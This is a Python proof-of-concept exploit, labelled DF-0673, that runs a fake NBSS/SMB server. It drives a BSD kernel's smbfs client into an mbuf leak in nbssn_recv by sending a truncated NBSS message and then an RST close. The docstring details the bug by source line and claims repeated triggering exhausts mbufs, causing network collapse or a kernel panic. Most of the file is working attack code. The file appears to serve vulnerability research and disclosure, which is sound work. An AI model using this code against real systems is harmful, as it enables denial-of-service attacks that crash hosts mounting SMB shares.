DF-0673 / fake_smb_server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | #!/usr/bin/env python3 """ DF-0673 PoC: nbssn_recv (sys/netproto/smb/smb_trantcp.c:345-374) mbuf leak. The bug: - inner do/while at :345-351 calls sbinit(&sio, savelen) at :346 which ZEROES sio.sb_mb (sockbuf.h:115-126 only zeroes fields, frees nothing). If a prior partial chain is in sio.sb_mb (soreceive returned EWOULDBLOCK/ EINTR/ERESTART with partial bytes), that chain is orphaned/leaked. - outer `if (error) break;` at :352-353 exits with sio.sb_mb possibly holding a partial chain; cleanup at :367-373 only runs when error==0, so the chain is leaked. Trigger: - mount_smbfs attempts an SMB session. - Kernel smb_iod thread enters smb_iod_recvall (smb_iod.c:304) which loops calling SMB_TRAN_RECV -> smb_nbst_recv -> nbssn_recv. - Server (this script) completes the NBSS session setup and SMB negotiate, then sends a NBSS message header advertising N bytes but delivers < N before closing. soreceive returns ECONNRESET/short-read with partial data in sio.sb_mb. nbssn_recv hits `if(error)break` at :352-353, outer loop exits, cleanup at :367-373 skipped (error!=0), chain leaked. - Each iteration of smb_iod_recvall (smb_iod.c:322 for(;;)) re-enters nbssn_recv which can re-leak on each retry; sustained mbuf exhaustion leads to network collapse / panic. Preconditions (realistic): - smbfs.ko loaded (root action; realistic on systems mounting SMB shares). - Malicious SMB server (network attacker / MitM / compromised server). This script: minimal fake NBSS+SMB server speaking just enough to reach the post-negotiate receive loop, then triggering the leak. Run as root on the guest: python3 fake_smb_server.py & mount_smbfs -N -I 127.0.0.1 //guest@localhost/share /mnt """ import socket import struct import sys import threading import time HOST = "127.0.0.1" PORT = 139 def nbss_hdr(msg_type, length): # NBSS header: type(1) flags(1) length(14-bit BE) return struct.pack(">BBH", msg_type, 0, length & 0x3FFF) def read_exact(conn, n): buf = b"" while len(buf) < n: chunk = conn.recv(n - len(buf)) if not chunk: return None buf += chunk return buf def handle(conn): try: # 1. Read client NBSS session request hdr = read_exact(conn, 4) if not hdr: return mt = hdr[0] if mt == 0x81: # SESSION_REQUEST # length tells us how much name payload follows length = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3] _ = read_exact(conn, length) # positive session response conn.sendall(nbss_hdr(0x82, 0)) # POSITIVE SESSION RESPONSE print("[server] sent positive session response") else: print("[server] unexpected msg type 0x%02x" % mt) return # 2. Read SMB negotiate (4-byte NBSS + SMB header) hdr = read_exact(conn, 4) if not hdr: return length = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3] negotiate = read_exact(conn, length) print("[server] got SMB negotiate (%d bytes)" % length) # 3. Send a fake SMB negotiate response (just enough to be parsed) # SMB header: \xffSMB + cmd=0x72 (negotiate) + status/flags/etc smb_hdr = b"\xffSMB" + bytes([0x72]) + b"\x00\x00\x00\x00" smb_hdr += b"\x00" * 24 # padding for flags2/tid/pid/uid/mid # dialect_index=0, security_mode=1, max_mpx=10, max_vc=1, etc body = struct.pack("<H", 0) # dialect index body += struct.pack("<B", 1) # security mode body += struct.pack("<H", 10) # max mpx body += struct.pack("<H", 1) # max vc body += struct.pack("<I", 65536) # max buf body += struct.pack("<I", 65536) # max raw body += struct.pack("<I", 0) # session key body += struct.pack("<HBBHIIQQ", 0, 0, 0, 0, 0, 0, 0, 0) # capabilities/time body += struct.pack("<H", 0) # byte count resp = smb_hdr + body conn.sendall(nbss_hdr(0x00, len(resp)) + resp) print("[server] sent negotiate response (%d bytes)" % len(resp)) time.sleep(0.2) # 4. Now send a NBSS message header claiming 4000 bytes, # deliver only ~50 bytes, then close (RST). claimed = 4000 conn.sendall(nbss_hdr(0x00, claimed)) conn.sendall(b"\x00" * 50) print("[server] sent NBSS message hdr claiming %d, delivered 50 bytes" % claimed) # Force RST close: set SO_LINGER to 0 then close l = struct.pack("ii", 1, 0) try: conn.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, l) except OSError: pass conn.close() print("[server] closed (RST) -- trigger soreceive error on partial chain") except Exception as e: print("[server] error:", e) finally: try: conn.close() except Exception: pass def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) print("[server] listening on %s:%d" % (HOST, PORT)) try: while True: c, _ = s.accept() print("[server] accepted connection") t = threading.Thread(target=handle, args=(c,), daemon=True) t.start() except KeyboardInterrupt: pass finally: s.close() if __name__ == "__main__": main() |